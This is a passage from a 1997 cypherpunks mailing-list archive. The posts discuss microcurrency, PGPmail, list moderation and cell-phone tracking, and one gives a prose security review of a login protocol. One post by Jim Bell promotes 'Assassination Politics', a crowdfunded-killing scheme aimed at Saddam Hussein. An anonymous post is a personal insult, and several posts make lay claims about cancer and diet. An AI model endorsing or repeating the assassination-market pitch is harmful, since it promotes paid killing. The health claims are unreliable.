In-Reply-To: <199701182105.NAA13618@netcom10.netcom.com>
Message-ID: <3.0.1.32.19970126115211.005b4fd8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:05 PM 1/18/97 -0800, Vladimir Z. Nuri wrote:
>I predict that microcurrency will not catch on in a big way
>until it is integrated with browsers, and when it is, it
.....
>the idea would also be to invent some new html tags that
>indicate the charge on a link. the charge is incurred when
.....
>of time before some enterprising programmers plug it all
>together in an easy to use way. (as far as I know the
>Digicash software is not easily integrated with any browser,
>am I correct?)

The Digicash software wasn't terribly easy to integrate with _anything_,
but folks like Lucky Green have been banging on them to define and
release their interface specs, and there's a library called -lucre
that will do the Digicash functions.  A few months ago, Ian 
demonstrated a Digicash-compatible plugin at one of our Bay Area
cypherpunks meetings (with blinding removed for patent reasons.)

I don't know about BorgBrowser, but with Netscape, you can implement
non-built-in features as either a plug-in or as a helper application;
no need to mess with the HTML spec in yet another browser-specific manner.

You can also wedge things in using cookies (though their are non-cookie-aware
browsers and people who turn their browsers off) which could work well for
lower-security microcurrencies.  For instance, connecting to 
http://newspaper.com/cookie-store.html could take your credit card with SSL
and give you a cookie with 100 or 1000 credits using some S/Key-like
mechanism,
and each time you read a news page it would decrement by one.  To avoid
fraud (people resetting their cookie files) the newspaper would have to
track cookie use, but they may be tracking who's reading what anyway.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Sun, 26 Jan 1997 12:32:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGPmail for Windows, Version 4.5
In-Reply-To: <199701261710.JAA18785@toad.com>
Message-ID: <Pine.GSO.3.95.970126122416.9761A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



It really does rock.  I owned Eudora 3 already, but if I didn't I would
purchase it for using PGPmail alone.

Another great feature of PGPmail is that it adds PGP functionality to the
Windows Explorer.  When you right-click on a file in Windows, a PGP
submenu is added to the normal right-click menu, allowing you to encrypt,
decrypt, etc. 

This product really has the ease of use that is needed to get PGP more
into the mainstream.  Like Duncan, I found it very easy to incorporate my
existing keyrings.  I'm very impressed.

I haven't tried it with NT 4.0 yet, and don't know how well it works.  I
run the same copy of Eudora with 95 and NT, so I'm assuming it will be
fine...


Rich

_______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb/
See my Blue Ribbon Page at http://www.teleport.com/~richieb/blueribbon/
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 26 Jan 1997 11:52:41 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <199701251011.CAA23822@toad.com>
Message-ID: <Pine.BSF.3.91.970126133331.6251B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



Regardless of which side you take on this matter, remember that the issue 
was forced by the actions of an extremely small segment of the list 
"population." 

The decision of that small segment to excercise its rights "in extreme" 
passed the tolerance thresholds of increasing numbers of list members, 
and the end result was a "restriction" adopted/elected/forced-on (colour 
it however you chose) on the entire "population."

"Rights" are derived from social responsibility; its either that, or the 
"law of the jungle."

-r.w.


On Fri, 24 Jan 1997, Dale Thorn wrote:

> Cynthia H. Brown wrote:
> > Beauty, flames and censorship are all in the eyes of the beholder.
> > However, by providing both "raw" and "cooked" versions of the list, Sandy

<SNIP>

> I apologize for intruding, Cynthia, but I have a question about "doing
> as s/he sees fit".  For example, what is the list?  Is it the equipment,
> is it the software that runs on the equipment, or is it the contents of
> the list (my writings, your writings, etc.)?  If I had to rank them, I
> would rank the contents as being more important than the equipment or
> the software.  That said, how can those contents be considered the
> property of the list owner/manager to do with as they see fit?
> 
> I do understand that they have the right to manage the list as they see
> fit, and to move the messages into whatever buckets seem appropriate,
> but your phrasing suggested more to me, and I'm puzzled by it.
> 
> 
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 13:47:38 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC0B90.0B78E600@king2-16.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Dr.Dimitri Vulis

However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
not be permitted on the 'net. It also bombs Iraq and murders their 
civilians
in retaliation for something their governments supposedly did.
................................................................


The U.S.G. has many more resources than most of us to do these things, 
including equipment, cooperative troops, money, and recognition from other 
governments.   If other nations disagree with the U.S.G. they have the 
resources to discuss, bargain, negotiate, criticize, form alliances, take 
their chances and retaliate, etc.

These things are done on a level not accessible to the most of us.  All 
that we individuals have are access to telephone lines, computers, and 
modems.   Yet even as we speak the world is being "wired" with cables to 
further make this singular communication possible and open up avenues to 
non-government organized activities:   international corporations are se  
tting up offices, services, and correspondence wherever in the world they 
can find markets.   All this is happening even while the governments are 
complaining to each other about what their citizens are posting (tch, tch) 
and threatening to deprive each other of that privilege.

While governments and their True Believer citizens are dealing with each 
other on one level, the rest of the world is reorganizing itself into a 
different order of living and doing business.   They are sharing ideas and 
examining their concepts and beliefs, they are conducting a lot of their 
disagreements on the net (instead of physically against each other on the 
ground), opening up to a broader view of relationships between individuals, 
or to governments, or to religions, sexuality, etc.

The situation hasn't completely changed yet,  but it is in process.

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Sun, 26 Jan 1997 10:50:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Humor
Message-ID: <3.0.32.19970126134828.006ae6f4@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain


Watch out for the Goodtimes Virus

Goodtimes will re-write your hard drive, scramble any disks that are even
close to your computer, recalibrate your refrigerator's coolness setting so
all your ice cream goes melty,demagnetize the strips on all your credit cards,
screw up the tracking on your television and use subspace field harmonics 
to scratch any CD's you try to play.

It will give your ex-girlfriend your new phone number. It will mix
Kool-aid into your fishtank.  It will drink all your beer and leave
its socks out on the coffee table when there's company coming over.
It will put a dead kitten in the back pocket of your good suit pants
and hide your car keys when you are late for work.

Goodtimes will make you fall in love with a penguin.  It will give you
nightmares about circus midgets.  It will pour sugar in your gas tank
and shave off both your eyebrows while dating your current boyfriend
behind your back and billing the dinner and hotel room to your Visa
card.

It will seduce your grandmother.  It does not matter if she is dead,
such is the power of Goodtimes, it reaches out beyond the grave to
sully those things we hold most dear.

It moves your car randomly around parking lots so you can't find it.
It will kick your dog.  It will leave libidinous messages on your
boss's voice mail in your voice!  It is insidious and subtle. It is
dangerous and terrifying to behold.  It is also a rather interesting
shade of mauve.

Goodtimes will give you Dutch Elm disease.  It will leave the toilet
seat up.  It will make a batch of Methamphetamine in your bathtub and
then leave bacon cooking on the stove while it goes out to chase
gradeschoolers with your new snowblower.

These are just a few signs...  Just be very careful!

CI




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 10:55:44 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <uB951D49w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970126135416.18808A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 26 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> Toto <toto@sk.sympatico.ca> writes:
> > Dr.Dimitri Vulis KOTM wrote:
> > > Toto <toto@sk.sympatico.ca> writes:
> > > > paul@fatmans.demon.co.uk wrote:
> >
> > > >   It became rather glaringly obvious after moderation was announced
> > > > that class structure would be the defining feature of moderation.
> > > >   Those who felt themselves to be in the 'upper class' made no
> > > > bones about it.
> > >
> > > That's a very insightful obeservation.
> >
> >   Obese-rvation? I hope you are not assuming that I am obese, just
> > because I am responding to a post originating from
> > 'fatmans.demon.co.uk.'
> >   I would hate to become relegated to the upcoming cypherpunks-fatpeople
> > list because of assumptions of this nature.
> 
> It was obviously a typo - my apologies to Toto.
> (Interestingly, Herr Moderatorfuehrer has tossed my article Toto replied to
> into cypherpunks-flames, while posting Toto's response to the censored list.)

	Those jerks...!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Sun, 26 Jan 1997 11:05:52 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Encrypting ZIP disks
In-Reply-To: <199701261710.JAA18727@toad.com>
Message-ID: <199701261905.OAA21691@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain



Proving a crack with revealing how is trivial.
Someone sends Paul cyphertext; he returns clear.

Proving the opposite without posting the code is a joke.


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 26 Jan 1997 12:15:50 -0800 (PST)
To: toto@sk.sympatico.ca (Toto)
Subject: Re: Cellular phone triangulation
In-Reply-To: <199701260710.XAA10387@toad.com>
Message-ID: <199701262032.OAA01584@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


>   Our prisons are overflowing with drug dealers and drug users who were
> put there by quite ordinary means which didn't involve violating or
> discarding the rights of the ordinary citizen.  Yet we keep hearing

    Wanna bet? 

> do so.
>   Not to mention larger and larger amounts of money.
>   But, maybe if you became a 'drug dealer'...

    I'd rather become an "arms dealer".
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 26 Jan 1997 12:30:58 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260656.WAA10210@toad.com>
Message-ID: <199701262048.OAA01617@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> > getting this degenerate disease when they get older.  Check out the
> > videos by Howard Lyman, who used to be a big-time "chemical" farmer.
> > One quote:  "My soil after a few years was like asbestos".
> As far as I understand, 1) no one really understands why cancer rates
> are up so much and 2) since people live longer, they are more likely do
> have cancer.

   While I don't claim to to be a Medical Researcher, I think that 1) should
be reworded to be "No one is willing to _admit_ why cancer rates are up so
much". You (generic) can look at certain population groups where there is 
low incidence(sp?) of cancer, and then look at our society and it becomes
pretty obvious. 

   Breast Cancer is exteremely rare in japenese women living in Japan. Thes
same women <excuse me while I light a cigerate> move to the US, start living
like American start developing breast cancer at a rate very similar to that
of American born women. 

   IMO the biggest reason that "no one really understands why cancer rates are
up..." is that "they" are looking for the single bullet when reality isn't 
usually that simple. 

   I would be willing to make a bet that if you could get a large population
group to do the following, you would see a large statistical reduction in the 
incidence(sp?) of cancer.

	1) Eat a lot of fruits, vegetables & breads and cerials. Stay away from
large quantities of meat. Try to reduce your fat intake to under 20 grams a 
day (USDA recommends around 40) 

        2) Exercise regularly. Ride a bike or walk/run to work. 

	3) Avoid excess in all things. 

> What you said is one of the hypotheses. I personally feel that
> environment and bad greasy food are other major contributors.
> The way they cook all these fries, with overheated grease, is very
> bad.

     BINGO!. 

     Sorry, gotta go, it's dinner time and McD's is calling...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 14:54:11 -0800 (PST)
To: Amanda Walker <amanda@intercon.com>
Subject: Re: Hi again, and an invitation to kibitz
In-Reply-To: <199701180202.VAA11013@beast.brainlink.com>
Message-ID: <3.0.1.32.19970126145141.005b4068@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


In addition to David Wagner's comments, I'd like to point out
several more weaknesses.
- Would Kerberos work just as well?  No sense reinventing the 3-headed dog.
- You're not authenticating the server to the client.
- If the challenge is different every time, the server needs to 
  keep the user's password in plaintext (unlike Unix encrypted passwords.)
  This means that attacks on the server's file system can steal it,
  and since the password is used for session encryption, it can be
  used to forge sessions as well.
- Alternatively, if the challenge is always the same (per user),
  then even one eavesdrop kills you, as with Unix passwords.
- Since you're using the same 7-byte password hash for the
  first third of the authentication as for the session key,
  the dictionary attack on E(challenge, First-seven-bytes)
  gives you the session key, so you can eavesdrop just fine.
  If the password is too short, you can then dictionary-attack MD4
  to find it also.

- There's a Diffie-Hellman variant that can do logins.  
  Unfortunately, it's patented (by some guy from Siemens in Paderborn DE, 
  who patented it in Germany about 2 years before I rediscovered it, 
  and patented it in the US about 6 months before :-)  
  It covers any login methods using commutative hashes H1(H2(x)) == H2(H1(x)).
  The Siemens version extends it to authenticate both ends to each other;
  I extended it to get a session key for encryption and/or authentication.
  This really shouldn't have been patentable - my rediscovery shows that
  it must be pretty obvious to anyone skilled in the trade :-), and rather
  than reinventing the wheel, I was reinventing the hubcap or tire swing....

> In article <199701140755.CAA04514@mail.intercon.com>,
>Amanda Walker <amanda@intercon.com> wrote:
>> (a) Server sends 8-byte challenge to client
>> (b) Client sends Microsoft NT authentication response to the server
>>     (take the password in Unicode form, do an MD4 hash, pad with 0s to 21
>>     bytes, split into 3 7-byte groups, use these as DES keys to encrypt
>>     the challenge three times, send the 24-byte result as the response).
>> (c) If authentication fails, close the connection.
>> (d) If authentication succeeds, all subsequent traffic is enccrypted with
>>     DES in CFB mode.  Until April :), the DES key used is taken from the
>>     first 7 bytes of the MD4 hash of the password (after April, we expect
>>     to switch to Diffie-Hellman key exchange first, followed by a revised
>>     authentication handshake).
>
At 11:20 AM 1/17/97 -0800, David Wagner wrote:
>Some weaknesses:
>- It doesn't resist dictionary attacks (no salt) when the attacker can make
>    one active probe (forge a fixed challenge and get the client's response).

In particular, an 8 byte challenge is nowhere near enough, though the 
average million-dollar DES-cracker won't be as easy to adapt for 2**64 
cycles of hash+DES*3 - and don't handle each third separately!
At least do something like 3DES-EDE and return an 8-byte response,
or hash the three output bytes together and send the hash.
Using >=16 bytes of challenge would be better, or >=24 if you 
want printable challenges.

>- It doesn't stop replay attacks (replay a fixed challenge, now the same DES
>    key is used, so replay DES-encrypted session data).

You may not be able to replay a given challenge usefully, assuming it's
different each time, but MITM attacks work ok after you've cracked the
password by dictionary attack in the previous round.

>- DES-encryption doesn't provide message authentication against active
>    attacks; use a MAC too.
>- You should use independent DES keys for each direction of the connection.
>- Also the DES encryption key doesn't change for each connection.  It should.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 13:30:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.SOL.3.93.970126135416.18808A-100000@pegasus.montclair.edu>
Message-ID: <57m61D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Sun, 26 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > Toto <toto@sk.sympatico.ca> writes:
> > > Dr.Dimitri Vulis KOTM wrote:
> > > > Toto <toto@sk.sympatico.ca> writes:
> > > > > paul@fatmans.demon.co.uk wrote:
> > >
> > > > >   It became rather glaringly obvious after moderation was announced
> > > > > that class structure would be the defining feature of moderation.
> > > > >   Those who felt themselves to be in the 'upper class' made no
> > > > > bones about it.
> > > >
> > > > That's a very insightful obeservation.
> > >
> > >   Obese-rvation? I hope you are not assuming that I am obese, just
> > > because I am responding to a post originating from
> > > 'fatmans.demon.co.uk.'
> > >   I would hate to become relegated to the upcoming cypherpunks-fatpeople
> > > list because of assumptions of this nature.
> > 
> > It was obviously a typo - my apologies to Toto.
> > (Interestingly, Herr Moderatorfuehrer has tossed my article Toto replied to
> > into cypherpunks-flames, while posting Toto's response to the censored list
> 
> 	Those jerks...!
> 

Interestingly, my apologies were also cast to cypherpunks-flames.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 13:32:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGPmail for Windows, Version 4.5
In-Reply-To: <3.0.1.32.19970126111938.0065b868@popd.ix.netcom.com>
Message-ID: <BaN61D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> At 11:45 AM 1/26/97 -0500, Duncan Frissell wrote:
> >Anyone running Windows 95 who hasn't grabbed the beta of PGPmail 4.5 from 
> >http://www.pgp.com/ is crazy.  It works seamlessly with Netscape 3.0 and 
> >Eudora Pro 3.0.  The 30-day demo of Eudora Pro is at:
> http://www.eudora.com/prodemo/.
> 
> PGPmail 4.5 now has beta 10 available - the download is smaller than beta 9.
> 
> Eudora Lite 3.0.1 also supports plugins, so it should work.
> It also supports filters, which has allowed probable flames to
> quietly vanish from my inbox :-)
> 
> BTW, from a non-government-user perspective, the questions asked to establish
> export permission are nicely worded.  Rather than asking
> "Are you a US Subject", and "Do you agree to follow every vague
> detail of the Export Laws", as some sites do, it asks
> > - Is the requesting computer located within the United States? [N/Y]
> > - Do you acknowledge affirmatively that you understand that PGPmail is 
> > subject to export controls under the Export Administration Act and 
> > that you cannot export the software without a license? [N/Y]
> > - Do you certify that you are not on any of the United States Government's 
> > lists of export-precluded parties or otherwise ineligible to receive this 
> > transfer of cryptographic software subject to export controls under the 
> > Export Administration Act? 
> and then has a button saying 
> 	"I certify that the above answers are truthful",
> which is flexible enough that I don't have to feel bad about not being
> _absolutely_ certain that my packets aren't getting routed through Canada,
> or that I'm not on some list that bans telephone company employees from 
> downloading cryptographic software on Tuesdays, or whether 
> computers 30 feet above the US are subject to this week's export rules :-),
> or having to say "No" to Question 2 because I understand that you _can_
> export this software without a license (just do it) even though the Feds
> disapprove....
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 

It doesn't seem to work with the mail program in MS IE, or MS WordMail.
I understand why some people don't like Microsoft, but excluding
support for popular Microsoft programs seems contrary to their
stated goal of promoting the use of crypto.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sun, 26 Jan 1997 12:11:25 -0800 (PST)
To: cypherpunks <toto@sk.sympatico.ca>
Subject: Re: Cellular phone triangulation
In-Reply-To: <199701260710.XAA10387@toad.com>
Message-ID: <Pine.LNX.3.95.970126145412.774A-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 25 Jan 1997, Toto wrote:

>   So far, as a result of the plethora of laws passed to enable law
> enforcement agencies to 'catch drug dealers', I have seen only a
> few minor criminals who are claimed to have been brought to justice
> as a result of these laws, while seeing documentation of hundreds
> and thousands of ordinary citizens being harassed and having their
> human rights violated by these same laws.
>   And still, we have people like Mark, who seem relatively intelligent
> and informed but who still echo the party-line of Big Brother when
> He proclaims that the average citizen must be subjected to new and
> better ways to monitor the movements and activities of His citizens
> in order to 'protect' them from 'drug dealers'.

Somehow, I thought my original post was ambiguous enough to be interpreted as
support for the government's expansion of surveillance capabilities or the War
on Some Drugs.  Nothing could be further from the truth.  I believe that the
original intention of requiring cell phone providers to have the ability to
triangulate all the signals they receive was so that drug dealers and other
Enemies of the People could be caught easier.  Since, drug dealers frequently
use cell phones to avoid tracking, I thought that this was probably the primary
justification.

Just like the current GAK proposal, the government has found another way to
justify a proposal to fool people into thinking that it's really for their own
good.  Many people have grown tired of hearing about the government's
"compelling interest" in fighting "crime."  The government claims that GAK is
not only for violating people's rights by trying to get people to believe that
it is a valuable service because it will allow people to recover their crypto
keys if they ever lose them.  In the case of the cell phone proposal, the
promise of better 911 service is used to justify this latest violation of civil
rights.


Mark
-----BEGIN PGP SIGNATURE-----
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Charset: noconv

iQEVAwUBMuu7UizIPc7jvyFpAQG55gf6ApVENBJJEIQ+9xKs/9ldaSRbDvemI1DY
Q0MyPkuOHo4e97i3dMYFk42Jb+OA+O0Q0kdsxRV0Y2i26GxTvC362+f/xI2+dTly
YvyhPwgUyztfVC+IrjQgpuvqOMWthqdBrkZR7cJAs7KQG49CiWMAVcmCmQGUWJU/
mv2TRHAw3GT0NYIqF5FhTFAEoXcPZAjuEHP1pYPOPJ1zjrUkp6adcK2khgFHKwYp
L8Pc9YLTJ/VNuw1n02PcfnitzPfgQIdhQVJAxwRClCxyifBKzQW1BtcMKyPhoxHY
roTqotTzpIROBJVGZStx99mEscYG3KJCymDp6zqEfC78WWcUhoMMYg==
=N8mn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sun, 26 Jan 1997 14:28:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Elliptic curves
Message-ID: <199701262229.PAA19532@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] May's family tree goes straight up. 
All of his ancestors were siblings, to dumb to 
recognize each other in the dark.

       _  O     O  _
        \-|-\_/-|-/  Timmy C[reep] May
         /^\   /^\
        ^^ ^^ ^^ ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 26 Jan 1997 16:41:59 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com
Subject: Re: Cellular location...
Message-ID: <199701270041.QAA19356@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:54 PM 1/25/97 -0500, Mark M. wrote:

>I wonder how expensive it would be to put a GPS receiver in a cell phone and
>have the option to transmit the coordinates on a separate channel.  There
>would be little difference between this and forcing cell phone companies to
>triangulate every call.  The primary motivation for this is almost certainly
>"location escrow" to make it easier for the feds to track drug dealers.

It would only be marginally reliable.  GPS signals are so weak (coming from 
satellites in 11,000 mile orbits) that reception outdoors is sometimes iffy 
if the signals have to go through foliage.  Reception indoors is probably 
only rarely do-able.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 17:14:25 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Internet, Countries, Nationalism, etc.
Message-ID: <01BC0BAC.ED2F1EE0@king2-16.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Jim Choate

blanc has put forth an interesting assertion relating to nationalism and 
the
Internet. If he is correct then we will have a one world government (ie
technocracy) whether we like it or not.
...................................................................


When your little company grows up to become a big World Leader in robotics, 
will you then be a member of this technocracy, participating in a one-world 
government, whether we like it or not?   Will you sit on the Board of 
Honchos making important decisions about net access for all, perhaps active 
in the Chamber of Borgs?

:>)
    ..
Blanc
p.s.   I be femme







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 26 Jan 1997 17:00:49 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701270100.RAA21027@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:30 AM 1/26/97 EST, Dr.Dimitri Vulis KOTM wrote:
>blanc <blancw@cnw.com> writes:

>> The identifications of self as a citizen who must be identified with the
>> vote of a majority, and consequently suffer the perception of oneself as
>> someone who "voted to accept restrictions of the net, therefore should not
>> be helped against it", is becoming irrelevant.   When a distress call goes
>> out from someone anywhere on the planet, the assistance and relief may come
>> from anyone anywhere who chooses to rally others and provide assistance.
>>
>> It is not the traditional "we" against "them", and it is not the "citizens
>> of the US" helping those who "voted themselves a Hitler into power" or
>> "voted themselves into restrictions against free speech".   It is "those of
>> us who appreciate the liberty in communications technology" against "those
>> who would take it away".
>
>However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
>not be permitted on the 'net. It also bombs Iraq and murders their civilians
>in retaliation for something their governments supposedly did.

"I have a solution to that problem."

Seriously!  

Look, I've proposed what I consider to be a remarkably consistent method to 
prevent the kind of political tyranny that you criticize, and I don't see 
any recognition of this fact.  

For the benefit of the masses, the AP ("Assassination Politics") solution 
to, for example, the Iraq problem would be to allow anyone and everyone in 
the world to donate money towards the death of Saddam Hussein, and any 
leadership which survives him, until that leadership satisfies the public 
that they won't be following in Hussein's footsteps.  Simple.  Economical.  
And, dare I say it, fair.

I believe that the Coalition spent $60 BILLION dollars doing the Iraq war, 
and they didn't even get rid of Saddam.  I'm sure AP would have done the 
task for under $100 million, and possibly far less. (and that money would 
have been collected by donation, not stolen in taxes.  Much of that money 
would have come from the Iraqi people themselves, BTW.)

 There would be few if any civilian casualities, no hunger or poverty caused 
among the people.  Even their soldiers would be relatively unaffected, 
except that their militaries (as well as ours) would be disbanded.

Reminds me of the punchline to that joke.

"He sent two boats and a helicopter!  What more did you want?!?"




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 14:00:54 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701262048.OAA01617@smoke.suba.com>
Message-ID: <Pine.SOL.3.93.970126165515.22420A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 26 Jan 1997, snow wrote:

> > > getting this degenerate disease when they get older.  Check out the
> > > videos by Howard Lyman, who used to be a big-time "chemical" farmer.
> > > One quote:  "My soil after a few years was like asbestos".
> > As far as I understand, 1) no one really understands why cancer rates
> > are up so much and 2) since people live longer, they are more likely do
> > have cancer.
> 
>    While I don't claim to to be a Medical Researcher, I think that 1) should
> be reworded to be "No one is willing to _admit_ why cancer rates are up so
> much". You (generic) can look at certain population groups where there is 
> low incidence(sp?) of cancer, and then look at our society and it becomes
> pretty obvious. 
> 
>    Breast Cancer is exteremely rare in japenese women living in Japan. Thes
> same women <excuse me while I light a cigerate> move to the US, start living
> like American start developing breast cancer at a rate very similar to that
> of American born women. 

	lack of olive oil intake?? i head that olive oil is esp. necessary
	for women, as well as milk.

> 
>    IMO the biggest reason that "no one really understands why cancer rates are
> up..." is that "they" are looking for the single bullet when reality isn't 
> usually that simple. 
> 
>    I would be willing to make a bet that if you could get a large population
> group to do the following, you would see a large statistical reduction in the 
> incidence(sp?) of cancer.
> 
> 	1) Eat a lot of fruits, vegetables & breads and cerials. Stay away from
> large quantities of meat. Try to reduce your fat intake to under 20 grams a 
> day (USDA recommends around 40) 
> 
>         2) Exercise regularly. Ride a bike or walk/run to work. 

	i think it's good also to exercise outdoors as well as your
	indoor nordictrack machines..sun and air is esp. necessary;
 
> 	3) Avoid excess in all things. 

	even chocolate? :)
 
> > What you said is one of the hypotheses. I personally feel that
> > environment and bad greasy food are other major contributors.
> > The way they cook all these fries, with overheated grease, is very
> > bad.
> 
>      BINGO!. 

	EAt well, and smile too ;)

> 
>      Sorry, gotta go, it's dinner time and McD's is calling...

	a good laugh goes a long way ... ;)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 26 Jan 1997 17:00:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: (Fwd) Just Say No to Telcom "Reform"
Message-ID: <199701270100.RAA01704@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


Thought this might interest you guys.


------- Forwarded Message Follows -------
Date:          Sun, 26 Jan 1997 13:00:14 -0800 (PST)
From:          Audrie Krause <akrause@igc.apc.org>
Subject:       Just Say No to Telcom "Reform"
To:            iaj-futuremedia@igc.apc.org

* * * * * * * * * * * * * * * * * * * * * * * * * 
ACTION ALERT     Please re-post where appropriate
* * * * * * * * * * * * * * * * * * * * * * * * *

Dear Friends,

On February 8, the first anniversary of the Telecommunications Reform
Act of 1996, NetAction and the Center for Educational Priorities are
launching a month-long Internet demonstration to call attention to the
wide gap between the rhetoric and reality of this sweeping
legislation.  

President Clinton and Congress promised the American people that
enactment of the Telecommunications Reform Act would lead to a
cornucopia of technological innovations that would change the nation's
cultural frontiers, expand our choices, dazzle our eyes, and inform
our minds.  Instead, we've been censored in cyberspace, subjected to
TV ratings systems, and prevented from experiencing the benefits of a
truly competitive marketplace by the emergence of "cartels" created by
mega-mergers in the telecommunications and media industries.

This is not reform!  And it's not too late to demand that our decision
makers deliver on what they promised us on February 8, 1996: MORE
